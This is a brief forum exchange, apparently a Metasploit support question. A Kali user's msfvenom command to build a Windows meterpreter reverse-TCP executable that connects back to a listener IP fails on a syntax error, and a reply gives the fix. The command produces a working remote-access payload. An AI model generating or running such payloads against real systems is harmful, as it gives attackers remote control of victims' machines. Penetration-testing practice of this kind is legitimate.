kali question

[19873753497]

(root㉿kali)-[/home/kali/Desktop] └─# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.35.128 lport=11236-f exe-o demo9999.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload Error: One or more options failed to validate: LPORT.
What's the problem here?

[bcoles]

(root㉿kali)-[/home/kali/Desktop] └─# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.35.128 lport=11236-f exe-o demo9999.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload Error: One or more options failed to validate: LPORT. What's the problem here?

Your lport is invalid.

Use:

lport=11236 -f

Not:

lport=11236-f